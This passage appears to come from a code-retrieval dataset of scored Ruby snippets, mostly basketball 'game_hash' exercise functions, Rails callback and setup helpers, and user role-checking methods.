"text": "def all_players\n Player.all\nend",
"title": ""
},
{
"docid": "b04aaa38945f1245c16a643885177154",
"score": "0.61209434",
"text": "def player_numbers(team_input)\n return_arr = []\n game_hash.each do |location, team|\n team.each do |team_info, data|\n if data == team_input\n team[:players].each do |name, stats|\n return_arr.push(stats[:number])\n end\n end\n end\n end\n return_arr\nend",
"title": ""
},
{
"docid": "dd8d1fab1eeec3d01d7ecbec09361304",
"score": "0.6117137",
"text": "def player_numbers(team_name)\n new_Arr = []\n game_hash.each do |place, team|\n if team_name == team[:team_name]\n team.each do |attribute, data|\n if attribute == :players\n data.each do |player|\n new_Arr.push(player[:number])\n # binding.pry\n end\n end\n end\n end\n end\n new_Arr\nend",
"title": ""
},
{
"docid": "725fb18aff3a4df10cee7619283e6728",
"score": "0.6111572",
"text": "def playing_users\n user_state.select { |user, state| state == :playing }.keys\n end",
"title": ""
},
{
"docid": "a62f6f84e5c338c81d9c7763620dfb3a",
"score": "0.61032665",
"text": "def away_players\n game_hash[:away][:players] \nend",
"title": ""
},
{
"docid": "badf52363f74a8a321f284c05bb245c5",
"score": "0.6102165",
"text": "def player_numbers(team)\n player_numbers = []\n game_hash.each do |location, attributes|\n if attributes[:team_name] == team\n attributes[:players].each do |player, stats|\n player_numbers << stats[:number]\n end\n end\n end\n player_numbers\nend",
"title": ""
},
{
"docid": "efcab5cc690e70e74ced85cdd19ea194",
"score": "0.60968316",
"text": "def players(team)\n\t\t# select all the games including that team, and then get that teams roster from each game, flatten, and remove dups.\n\t\t@rounds.select{|g| g.teams.include?(team)}.map {|g| g.players[g.teams.index(team)]}.flatten.uniq\n\tend",
"title": ""
},
{
"docid": "3d5abec59fb2647e4299976653612067",
"score": "0.6090519",
"text": "def react_player_items\n self.player_items.map do |player_item|\n {\n id: player_item.id,\n name: player_item.item.name,\n quantity: player_item.quantity,\n value: player_item.item.value\n }\n end\n end",
"title": ""
},
{
"docid": "feda4cc5dd2665f9c590e44351437b71",
"score": "0.6084392",
"text": "def all_stats_for_player(name, game)\n game[:home_team][:players].each do |player_hash|\n return player_hash[:stats] if player_hash[:player_name] == name\n end\n game[:away_team][:players].each do |player_hash|\n return player_hash[:stats] if player_hash[:player_name] == name\n end\nend",
"title": ""
},
{
"docid": "0d96269d2fb4dda5c496a36cbe30060d",
"score": "0.6080573",
"text": "def player_stats(player_name)\n result = {}\n game_hash.each do |side,team|\n team.each do |specs,info|\n if specs == :players\n\n info.each do |player|\n if player[:player_name] == player_name\n result = player\n result.delete(:player_name)\n end\n end\n end\n end\n end\n result\nend",
"title": ""
},
{
"docid": "7931ee4211e5495a5c37a794944267eb",
"score": "0.6070699",
"text": "def songs\n # @@songs.select { |song| song.name == @name }\n @songs\n end",
"title": ""
},
{
"docid": "4d833e1d1ffcc33615f0e272baa518ec",
"score": "0.60642636",
"text": "def player_numbers (team_name)\n player_numbers_list = [] #Empty array to hold lst of players numbers\n game_hash.each do |team_key, team_value|#iterate down 1 level\n if team_value[:team_name] == team_name\n team_value[:players].each do |player_stats|\n player_stats.each do |key, value|#iterate through each players stats\n if key == :number #set :number as the comparison ID\n player_numbers_list << value # push players numbers/\"value\" into the empty array\n end\n end\n end\n end\n end\n player_numbers_list\nend",
"title": ""
},
{
"docid": "4bdc5c02ef175b5e3289b583f3096a07",
"score": "0.6063536",
"text": "def initialize_players\n hash = []\n p = players.sort_by {|player| player.strategy_id }\n p.each.with_index do |u,i|\n u.n_player_profile_id = self\n u.profile_index = i\n hash << u.strategy_id\n end\n write_attribute(:profile_hash, hash.join(',').to_s)\n end",
"title": ""
},
{
"docid": "7836df030488b32c1021918964e9fc11",
"score": "0.6057131",
"text": "def server_package_to_player_array(data)\n # /(?<count>\\d{2})(?<player>(?<id>\\d{2})(?<x>\\d{3})(?<y>\\d{3}))/\n # @console.log \"data: #{data}\"\n slots = data[0].to_i # save occupado slots\n # gamestate = data[1].to_i # save gamestate\n @flags[:gamestate] = data[1]\n # @console.log \"gamestate: \" + @flags[:gamestate]\n data = data[2..-1] # cut slots and gamestate off\n players = server_package_to_player_strs(slots, data)\n # @console.log \"players: \\n#{players}\"\n player_strs_to_objects(players)\n end",
"title": ""
},
{
"docid": "bcea6219d493cb0fd5fc7aa050322e74",
"score": "0.60552293",
"text": "def played_cards\n player_cards.select { |c| c.played? }\n end",
"title": ""
},
{
"docid": "9726a96ec00e266da1eb2c37d99e7f17",
"score": "0.6050711",
"text": "def home_players\n game_hash[:home][:players] \nend",
"title": ""
},
{
"docid": "68b5434ea873b267212176027711b433",
"score": "0.60421294",
"text": "def player_numbers(team)\n numbers = []\n game_hash.each do |location, team_data|\n if team_data[:team_name] == team\n team_data[:players].each do |player_name, stat|\n numbers << stat[:number]\n end\n end\n end\n return numbers\nend",
"title": ""
},
{
"docid": "d1974dd9c0d24440b05830d917d68744",
"score": "0.6040561",
"text": "def player_stats(player_name)\n game_hash.each do |location, data|\n data[:players].each do |player, data_items|\n return data_items if player == \"#{player_name}\"\n end\n end\nend",
"title": ""
},
{
"docid": "341d6a69fe4a3b21439d36ae913ac951",
"score": "0.6038983",
"text": "def player_numbers(team)\n output = []\n hash = game_hash\n hash.each do |location, team_data|\n if team == game_hash[location][:team_name]\n hash[location][:players].each do |name, stats|\n output.push(stats[:number])\n end\n end\n end\n return output\nend",
"title": ""
},
{
"docid": "8911bafd10ec8a91c344f6de514de3a4",
"score": "0.602958",
"text": "def player_stats(player_name)\n stats = {}\n player_data.each do |player|\n if player_name == player[:player_name]\n stats[:number] = player[:number]\n stats[:shoe] = player[:shoe]\n stats[:points] = player[:points]\n stats[:rebounds] = player[:rebounds]\n stats[:assists] = player[:assists]\n stats[:steals] = player[:steals]\n stats[:blocks] = player[:blocks]\n stats[:slam_dunks] = player[:slam_dunks]\n end\n end\n return stats\nend",
"title": ""
},
{
"docid": "7ae071fcff39c69b8e2b95c58da40df6",
"score": "0.6027846",
"text": "def read_from_roster(csv)\n players = []\n CSV.foreach(csv, headers: true, header_converters: :symbol) do |player|\n players << player.to_hash\n end\n players\nend",
"title": ""
}
] |
f74c29bdfc4a183e1ec1b91334cd5be2 | Use callbacks to share common setup or constraints between actions. | [
{
"docid": "6721ee8c8fc7c68d7db5fd0ca8a5f826",
"score": "0.0",
"text": "def set_product\n @product = Product.find(params[:id])\n end",
"title": ""
}
] | [
{
"docid": "bd89022716e537628dd314fd23858181",
"score": "0.6163163",
"text": "def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"title": ""
},
{
"docid": "3db61e749c16d53a52f73ba0492108e9",
"score": "0.6045976",
"text": "def action_hook; end",
"title": ""
},
{
"docid": "b8b36fc1cfde36f9053fe0ab68d70e5b",
"score": "0.5946146",
"text": "def run_actions; end",
"title": ""
},
{
"docid": "3e521dbc644eda8f6b2574409e10a4f8",
"score": "0.591683",
"text": "def define_action_hook; end",
"title": ""
},
{
"docid": "801bc998964ea17eb98ed4c3e067b1df",
"score": "0.5890051",
"text": "def actions; end",
"title": ""
},
{
"docid": "bfb8386ef5554bfa3a1c00fa4e20652f",
"score": "0.58349305",
"text": "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"title": ""
},
{
"docid": "6c8e66d9523b9fed19975542132c6ee4",
"score": "0.5776858",
"text": "def add_actions; end",
"title": ""
},
{
"docid": "9c186951c13b270d232086de9c19c45b",
"score": "0.5703237",
"text": "def callbacks; end",
"title": ""
},
{
"docid": "9c186951c13b270d232086de9c19c45b",
"score": "0.5703237",
"text": "def callbacks; end",
"title": ""
},
{
"docid": "6ce8a8e8407572b4509bb78db9bf8450",
"score": "0.5652805",
"text": "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"title": ""
},
{
"docid": "1964d48e8493eb37800b3353d25c0e57",
"score": "0.5621621",
"text": "def define_action_helpers; end",
"title": ""
},
{
"docid": "5df9f7ffd2cb4f23dd74aada87ad1882",
"score": "0.54210985",
"text": "def post_setup\n end",
"title": ""
},
{
"docid": "dbebed3aa889e8b91b949433e5260fb5",
"score": "0.5411113",
"text": "def action_methods; end",
"title": ""
},
{
"docid": "dbebed3aa889e8b91b949433e5260fb5",
"score": "0.5411113",
"text": "def action_methods; end",
"title": ""
},
{
"docid": "dbebed3aa889e8b91b949433e5260fb5",
"score": "0.5411113",
"text": "def action_methods; end",
"title": ""
},
{
"docid": "c5904f93614d08afa38cc3f05f0d2365",
"score": "0.5391541",
"text": "def before_setup; end",
"title": ""
},
{
"docid": "f099a8475f369ce73a38d665b6ee6877",
"score": "0.53794575",
"text": "def action_run\n end",
"title": ""
},
{
"docid": "2c4e5a90aa8efaaa3ed953818a9b30d2",
"score": "0.5357573",
"text": "def execute(setup)\n @action.call(setup)\n end",
"title": ""
},
{
"docid": "0464870c8688619d6c104d733d355b3b",
"score": "0.53402257",
"text": "def define_action_helpers?; end",
"title": ""
},
{
"docid": "0e7bdc54b0742aba847fd259af1e9f9e",
"score": "0.53394014",
"text": "def set_actions\n actions :all\n end",
"title": ""
},
{
"docid": "5510330550e34a3fd68b7cee18da9524",
"score": "0.53321576",
"text": "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"title": ""
},
{
"docid": "97c8901edfddc990da95704a065e87bc",
"score": "0.53124547",
"text": "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"title": ""
},
{
"docid": "4f9a284723e2531f7d19898d6a6aa20c",
"score": "0.529654",
"text": "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"title": ""
},
{
"docid": "83684438c0a4d20b6ddd4560c7683115",
"score": "0.5296262",
"text": "def before_actions(*logic)\n self.before_actions = logic\n end",
"title": ""
},
{
"docid": "210e0392ceaad5fc0892f1335af7564b",
"score": "0.52952296",
"text": "def setup_handler\n end",
"title": ""
},
{
"docid": "a997ba805d12c5e7f7c4c286441fee18",
"score": "0.52600986",
"text": "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"title": ""
},
{
"docid": "1d50ec65c5bee536273da9d756a78d0d",
"score": "0.52442724",
"text": "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"title": ""
},
{
"docid": "e6d7c691bed78fb0eeb9647503f4a244",
"score": "0.52385926",
"text": "def action; end",
"title": ""
},
{
"docid": "e6d7c691bed78fb0eeb9647503f4a244",
"score": "0.52385926",
"text": "def action; end",
"title": ""
},
{
"docid": "e6d7c691bed78fb0eeb9647503f4a244",
"score": "0.52385926",
"text": "def action; end",
"title": ""
},
{
"docid": "e6d7c691bed78fb0eeb9647503f4a244",
"score": "0.52385926",
"text": "def action; end",
"title": ""
},
{
"docid": "e6d7c691bed78fb0eeb9647503f4a244",
"score": "0.52385926",
"text": "def action; end",
"title": ""
},
{
"docid": "635288ac8dd59f85def0b1984cdafba0",
"score": "0.5232394",
"text": "def workflow\n end",
"title": ""
},
{
"docid": "e34cc2a25e8f735ccb7ed8361091c83e",
"score": "0.523231",
"text": "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"title": ""
},
{
"docid": "78b21be2632f285b0d40b87a65b9df8c",
"score": "0.5227454",
"text": "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"title": ""
},
{
"docid": "6350959a62aa797b89a21eacb3200e75",
"score": "0.52226824",
"text": "def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"title": ""
},
{
"docid": "923ee705f0e7572feb2c1dd3c154b97c",
"score": "0.52201617",
"text": "def process_action(...)\n send_action(...)\n end",
"title": ""
},
{
"docid": "b89a3908eaa7712bb5706478192b624d",
"score": "0.5212327",
"text": "def before_dispatch(env); end",
"title": ""
},
{
"docid": "7115b468ae54de462141d62fc06b4190",
"score": "0.52079266",
"text": "def after_actions(*logic)\n self.after_actions = logic\n end",
"title": ""
},
{
"docid": "d89a3e408ab56bf20bfff96c63a238dc",
"score": "0.52050185",
"text": "def setup\n # override and do something appropriate\n end",
"title": ""
},
{
"docid": "62c402f0ea2e892a10469bb6e077fbf2",
"score": "0.51754695",
"text": "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"title": ""
},
{
"docid": "72ccb38e1bbd86cef2e17d9d64211e64",
"score": "0.51726824",
"text": "def setup(_context)\n end",
"title": ""
},
{
"docid": "b4f4e1d4dfd31919ab39aecccb9db1d0",
"score": "0.51710224",
"text": "def setup(resources) ; end",
"title": ""
},
{
"docid": "1fd817f354d6cb0ff1886ca0a2b6cce4",
"score": "0.5166172",
"text": "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"title": ""
},
{
"docid": "5531df39ee7d732600af111cf1606a35",
"score": "0.5159343",
"text": "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"title": ""
},
{
"docid": "bb6aed740c15c11ca82f4980fe5a796a",
"score": "0.51578903",
"text": "def determine_valid_action\n\n end",
"title": ""
},
{
"docid": "b38f9d83c26fd04e46fe2c961022ff86",
"score": "0.51522785",
"text": "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"title": ""
},
{
"docid": "199fce4d90958e1396e72d961cdcd90b",
"score": "0.5152022",
"text": "def startcompany(action)\n @done = true\n action.setup\n end",
"title": ""
},
{
"docid": "994d9fe4eb9e2fc503d45c919547a327",
"score": "0.51518047",
"text": "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"title": ""
},
{
"docid": "62fabe9dfa2ec2ff729b5a619afefcf0",
"score": "0.51456624",
"text": "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"title": ""
},
{
"docid": "faddd70d9fef5c9cd1f0d4e673e408b9",
"score": "0.51398855",
"text": "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"title": ""
},
{
"docid": "adb8115fce9b2b4cb9efc508a11e5990",
"score": "0.5133759",
"text": "def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"title": ""
},
{
"docid": "e1dd18cf24d77434ec98d1e282420c84",
"score": "0.5112076",
"text": "def setup(&block)\n define_method(:setup, &block)\n end",
"title": ""
},
{
"docid": "3b4fb29fa45f95d436fd3a8987f12de7",
"score": "0.5111866",
"text": "def setup\n transition_to(:setup)\n end",
"title": ""
},
{
"docid": "3b4fb29fa45f95d436fd3a8987f12de7",
"score": "0.5111866",
"text": "def setup\n transition_to(:setup)\n end",
"title": ""
},
{
"docid": "975ecc8d218b62d480bbe0f6e46e72bb",
"score": "0.5110294",
"text": "def action\n end",
"title": ""
},
{
"docid": "f54964387b0ee805dbd5ad5c9a699016",
"score": "0.5106169",
"text": "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"title": ""
},
{
"docid": "35b302dd857a031b95bc0072e3daa707",
"score": "0.509231",
"text": "def config(action, *args); end",
"title": ""
},
{
"docid": "bc3cd61fa2e274f322b0b20e1a73acf8",
"score": "0.50873137",
"text": "def setup\n @setup_proc.call(self) if @setup_proc\n end",
"title": ""
},
{
"docid": "5c3cfcbb42097019c3ecd200acaf9e50",
"score": "0.5081088",
"text": "def before_action \n end",
"title": ""
},
{
"docid": "246840a409eb28800dc32d6f24cb1c5e",
"score": "0.508059",
"text": "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"title": ""
},
{
"docid": "dfbcf4e73466003f1d1275cdf58a926a",
"score": "0.50677156",
"text": "def action\n end",
"title": ""
},
{
"docid": "36eb407a529f3fc2d8a54b5e7e9f3e50",
"score": "0.50562143",
"text": "def matt_custom_action_begin(label); end",
"title": ""
},
{
"docid": "b6c9787acd00c1b97aeb6e797a363364",
"score": "0.5050554",
"text": "def setup\n # override this if needed\n end",
"title": ""
},
{
"docid": "9fc229b5b48edba9a4842a503057d89a",
"score": "0.50474834",
"text": "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"title": ""
},
{
"docid": "9fc229b5b48edba9a4842a503057d89a",
"score": "0.50474834",
"text": "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"title": ""
},
{
"docid": "fd421350722a26f18a7aae4f5aa1fc59",
"score": "0.5036181",
"text": "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"title": ""
},
{
"docid": "d02030204e482cbe2a63268b94400e71",
"score": "0.5026331",
"text": "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"title": ""
},
{
"docid": "4224d3231c27bf31ffc4ed81839f8315",
"score": "0.5022976",
"text": "def after(action)\n invoke_callbacks *options_for(action).after\n end",
"title": ""
},
{
"docid": "24506e3666fd6ff7c432e2c2c778d8d1",
"score": "0.5015441",
"text": "def pre_task\n end",
"title": ""
},
{
"docid": "0c16dc5c1875787dacf8dc3c0f871c53",
"score": "0.50121695",
"text": "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"title": ""
},
{
"docid": "c99a12c5761b742ccb9c51c0e99ca58a",
"score": "0.5000944",
"text": "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"title": ""
},
{
"docid": "0cff1d3b3041b56ce3773d6a8d6113f2",
"score": "0.5000019",
"text": "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"title": ""
},
{
"docid": "791f958815c2b2ac16a8ca749a7a822e",
"score": "0.4996878",
"text": "def setup_signals; end",
"title": ""
},
{
"docid": "6e44984b54e36973a8d7530d51a17b90",
"score": "0.4989888",
"text": "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"title": ""
},
{
"docid": "6e44984b54e36973a8d7530d51a17b90",
"score": "0.4989888",
"text": "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"title": ""
},
{
"docid": "5aa51b20183964c6b6f46d150b0ddd79",
"score": "0.49864885",
"text": "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"title": ""
},
{
"docid": "7647b99591d6d687d05b46dc027fbf23",
"score": "0.49797225",
"text": "def initialize(*args)\n super\n @action = :set\nend",
"title": ""
},
{
"docid": "67e7767ce756766f7c807b9eaa85b98a",
"score": "0.49785787",
"text": "def after_set_callback; end",
"title": ""
},
{
"docid": "2a2b0a113a73bf29d5eeeda0443796ec",
"score": "0.4976161",
"text": "def setup\n #implement in subclass;\n end",
"title": ""
},
{
"docid": "63e628f34f3ff34de8679fb7307c171c",
"score": "0.49683493",
"text": "def lookup_action; end",
"title": ""
},
{
"docid": "a5294693c12090c7b374cfa0cabbcf95",
"score": "0.4965126",
"text": "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"title": ""
},
{
"docid": "57dbfad5e2a0e32466bd9eb0836da323",
"score": "0.4958034",
"text": "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"title": ""
},
{
"docid": "5b6d613e86d3d68152f7fa047d38dabb",
"score": "0.49559742",
"text": "def release_actions; end",
"title": ""
},
{
"docid": "4aceccac5b1bcf7d22c049693b05f81c",
"score": "0.4954353",
"text": "def around_hooks; end",
"title": ""
},
{
"docid": "2318410efffb4fe5fcb97970a8700618",
"score": "0.49535993",
"text": "def save_action; end",
"title": ""
},
{
"docid": "64e0f1bb6561b13b482a3cc8c532cc37",
"score": "0.4952725",
"text": "def setup(easy)\n super\n easy.customrequest = @verb\n end",
"title": ""
},
{
"docid": "fbd0db2e787e754fdc383687a476d7ec",
"score": "0.49467874",
"text": "def action_target()\n \n end",
"title": ""
},
{
"docid": "b280d59db403306d7c0f575abb19a50f",
"score": "0.49423352",
"text": "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"title": ""
},
{
"docid": "9f7547d93941fc2fcc7608fdf0911643",
"score": "0.49325448",
"text": "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"title": ""
},
{
"docid": "da88436fe6470a2da723e0a1b09a0e80",
"score": "0.49282882",
"text": "def before_setup\n # do nothing by default\n end",
"title": ""
},
{
"docid": "17ffe00a5b6f44f2f2ce5623ac3a28cd",
"score": "0.49269363",
"text": "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"title": ""
},
{
"docid": "21d75f9f5765eb3eb36fcd6dc6dc2ec3",
"score": "0.49269104",
"text": "def default_action; end",
"title": ""
},
{
"docid": "3ba85f3cb794f951b05d5907f91bd8ad",
"score": "0.49252945",
"text": "def setup(&blk)\n @setup_block = blk\n end",
"title": ""
},
{
"docid": "80834fa3e08bdd7312fbc13c80f89d43",
"score": "0.4923091",
"text": "def callback_phase\n super\n end",
"title": ""
},
{
"docid": "f1da8d654daa2cd41cb51abc7ee7898f",
"score": "0.49194667",
"text": "def advice\n end",
"title": ""
},
{
"docid": "99a608ac5478592e9163d99652038e13",
"score": "0.49174926",
"text": "def _handle_action_missing(*args); end",
"title": ""
},
{
"docid": "9e264985e628b89f1f39d574fdd7b881",
"score": "0.49173003",
"text": "def duas1(action)\n action.call\n action.call\nend",
"title": ""
},
{
"docid": "399ad686f5f38385ff4783b91259dbd7",
"score": "0.49171105",
"text": "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"title": ""
},
{
"docid": "0dccebcb0ecbb1c4dcbdddd4fb11bd8a",
"score": "0.4915879",
"text": "def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"title": ""
},
{
"docid": "6e0842ade69d031131bf72e9d2a8c389",
"score": "0.49155936",
"text": "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend",
"title": ""
}
] |
3db3830607cba5c486bd3e9620248118 | Allows calling of functions like is_arbitrary_role? | [
{
"docid": "7a62c1b7857cf7b34f5ff6268ac517a6",
"score": "0.7119197",
"text": "def method_missing(method_id, *args)\n if match = matches_dynamic_role_check?(method_id)\n self.is? match.captures.first\n else\n super\n end\n end",
"title": ""
}
] | [
{
"docid": "18e9f62d0aa3b3927754468135282c54",
"score": "0.77433336",
"text": "def role?\n true\n end",
"title": ""
},
{
"docid": "3600ba6bde8d22421dd68aeda5e9373d",
"score": "0.73785",
"text": "def role?(role_arg)\n return role_arg.to_s == self.role.downcase\n end",
"title": ""
},
{
"docid": "fb26d9066bbf523b422793cc35bcd31c",
"score": "0.7378065",
"text": "def has_role? role\n self.role == role.to_s\n end",
"title": ""
},
{
"docid": "711463e45d9f890b2bf7b8fa888ac6f3",
"score": "0.7363271",
"text": "def has_role?(role)\n self.role\n end",
"title": ""
},
{
"docid": "f95b9e0f1d0c7f184bba29762b85eba3",
"score": "0.73597425",
"text": "def role?(role)\n return !!self.roles.find_by_name(role.to_s.camelize)\nend",
"title": ""
},
{
"docid": "9dc82e26ca06c3ab2e1ba50c7ba9ddbc",
"score": "0.73383594",
"text": "def is?(role)\n self.role == role.to_s\n end",
"title": ""
},
{
"docid": "7780efed4f11c581d4b3ef75dd908d0d",
"score": "0.7320627",
"text": "def method_missing(method_name, *args)\n super if !method_name.to_s.match(/^has_role_(.*)\\?$/)\n role_name = method_name.to_s.gsub(/(^has_role_|\\?$)/, '')\n has_role?(role_name)\n end",
"title": ""
},
{
"docid": "b1802edf019901b0716c833c7c642cfa",
"score": "0.72453934",
"text": "def role?(role)\n self.role == role.to_s\n end",
"title": ""
},
{
"docid": "b1802edf019901b0716c833c7c642cfa",
"score": "0.72453934",
"text": "def role?(role)\n self.role == role.to_s\n end",
"title": ""
},
{
"docid": "a17b2f4d104327580d64d54d5973ff26",
"score": "0.7242039",
"text": "def role?(role)\n return !!self.roles.find_by_name(role.to_s)\n end",
"title": ""
},
{
"docid": "0a2f55388779bf85124581e5213b8d97",
"score": "0.7239381",
"text": "def assert_has_role\n true\n end",
"title": ""
},
{
"docid": "14877b33aa8d08e56f2135ee54ce4962",
"score": "0.72110033",
"text": "def instractor?\n self.role == 'instractor'\n end",
"title": ""
},
{
"docid": "3282393d725f0bb35a6ed14bb9a89819",
"score": "0.71645814",
"text": "def is?(role)\n self.role.to_sym == role\n end",
"title": ""
},
{
"docid": "0e149fd59c70943bcd132428f6363c47",
"score": "0.7156706",
"text": "def user?\n role == 'user'\n end",
"title": ""
},
{
"docid": "f3147827819baefd024bf93df39ae4e2",
"score": "0.71257526",
"text": "def novice?\n self.role == \"novice\"\n end",
"title": ""
},
{
"docid": "62944c55ea9191b8f477c739ac404d29",
"score": "0.7124065",
"text": "def role?(type)\n self.role == type\n end",
"title": ""
},
{
"docid": "eddafea6246a63120ee7688fa5ccc811",
"score": "0.7123849",
"text": "def can?(thing)\n return true if admin?\n # Check if user is granted the function\n return true if granted?(thing)\n # Check if user is denied the function\n return false if denied?(thing)\n # Ignore \"System Admin\" function from CSUM/CSEM users\n return false if thing.include?(\"System Admin\")\n\n roles.include?(thing)\n end",
"title": ""
},
{
"docid": "357af5a80b47db8e086a5d6d77e247ae",
"score": "0.71056485",
"text": "def role? role\n roles_to_sym.include? role\n end",
"title": ""
},
{
"docid": "179d0711d3b97ca312011574b4218408",
"score": "0.70964146",
"text": "def method_missing(method_id, *args)\n if match = matches_dynamic_role_check?(method_id)\n tokenize_roles(match.captures.first).each do |check|\n return true if role.name.downcase == check\n end\n return false\n else\n super\n end\n end",
"title": ""
},
{
"docid": "d814e198080bb7326636fbe99c763fed",
"score": "0.7087784",
